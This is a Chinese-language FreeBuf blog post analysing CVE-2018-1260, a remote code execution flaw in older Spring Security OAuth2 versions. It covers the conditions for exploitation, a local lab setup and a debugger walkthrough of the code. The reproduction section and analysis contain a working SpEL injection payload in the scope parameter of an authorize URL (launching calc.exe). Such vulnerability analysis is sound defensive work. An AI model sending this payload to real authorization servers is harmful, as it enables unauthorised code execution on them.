freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Spring Security OAuth2 远程代码执行漏洞分析(CVE-2018-1260)
Artio 2022-03-02 10:28:10 232377
所属地 北京

一:漏洞简介

在Spring Security OAuth 2.x老的版本中,恶意用户可以向授权服务器发起授权请求,当转发至授权审批终端(Approval Endpoint)时,会导致远程代码执行漏洞的攻击。

二:利用条件

1、被攻击端作为授权服务器时(如使用了注解)

2、使用了默认审批终端,或重写的审批终端逻辑中使用等对输出内容进行SPEL表达式解析

3、未配置Scopes

三:影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

四:漏洞复现

使用github上已有的demo:https://github.com/wanghongfei/spring-security-oauth2-example

Clone下来后导入idea待全部依赖下载完成。

然后修改cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java中的第67行为:

@Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
       clients.inMemory()
                .withClient("client")
                .authorizedGrantTypes("authorization_code")
                .scopes();
    }

然后根据github中的readme中的介绍操作数据库相关(包括:创建库、创建表、添加数据等等)

image

然后修改application.properties中的mysql数据库相关的信息。

image

然后启动环境并访问:

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

会重定向到登陆页面,随便输入用户名密码后点击登陆

image

触发payload:

image

五:漏洞分析

Spring Security OAuth在org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint对用户的认证请求进行处理,其中对应的URL是@RequestMapping({"/oauth/authorize"}),其中有一处关键的地方是在于this.oauth2RequestValidator.validateScope(authorizationRequest, client);,此代码是用于对用户传入的scope进行认证。通过动态分析来分析对scope的认证过程以及绕过方法。

image

跟踪进入到org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator:validateScope()方法中,代码如下:

image

调用的是DefaultOAuth2RequestValidator的私有validateScope()方法

其中的参数如下:

image

通过动态调试发现,requestScopes是传入的rce的payload,是${T(java.lang.Runtime).getRuntime().exec("calc.exe")}不为null,而clientScopes是我们在搭建环境时在OAuthSecurityConfig设置的,值为空。所以在这里我们就绕过了validateScope()的检测。

最后我们回到主函数@RequestMapping({"/oauth/authorize"})中,最终出现会进入到121行中的return this.getUserApprovalPageResponse(model, authorizationRequest, (Authentication)principal);中。跟踪getUserApprovalPageResponse()进入到org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint:getUserApprovalPageResponse()

image

当执行到new ModelAndView(this.userApprovalPage, model);时,此时的各项参数如下所示:

image

所以程序内部会跳转到forward:/oauth/confirm_access。

继续执行,执行到org.springframework.security.oauth2.provider.endpoint.WhitelabelApprovalEndpoint:getAccessConfirmation()。getAccessConfirmation()对forward:/oauth/confirm_access进行响应处理。

image

进入到创建模板函数createTemplate()中

image

其中model和request的参数信息如下:

image

根据参数信息,函数会执行到template = template.replace("%scopes%", this.createScopes(model, request)).replace("%denial%", "");,跟踪this.createScopes()进一步分析。

image

函数的工作很明确,获取到scopes的内容拼接成为字符串返回。最终得到的builder.toString()的结果是:

<ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>

返回到createTemplate()函数中,最终template()返回的结果是:

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/><input type='hidden' name='${_csrf.parameterName}' value='${_csrf.token}' /><ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul><label><input name='authorize' value='Authorize' type='submit'/></label></form></body></html>

可以看到在template模板中已经携带有我们的payload,scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

执行完createTemplate()函数之后,程序回到getAccessConfirmation()中,程序最后执行到return new ModelAndView(new SpelView(template), model);

image

进入到new SpelView(template)中,new SpelView()会对template中的spel表达式解释执行最终造成rce。

image

Expression expression = SpelView.this.parser.parseExpression(name);会对template中的内容进行解析包括scope,最终造成rce。

image

六:参考链接

https://blog.spoock.com/2018/05/13/cve-2018-1260/

七:个人github

https://artio-li.github.io/

# web安全 # 漏洞分析 # java # 网络安全技术
本文为 Artio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Artio LV.4
这家伙太懒了,还未填写个人描述!
  • 14 文章数
  • 3 关注者
利用CDN进行攻击以及检测思路
2025-01-06
CSDN挂马事件及其检测思路
2025-01-02
浅谈DNS重绑定攻击
2023-05-19
文章目录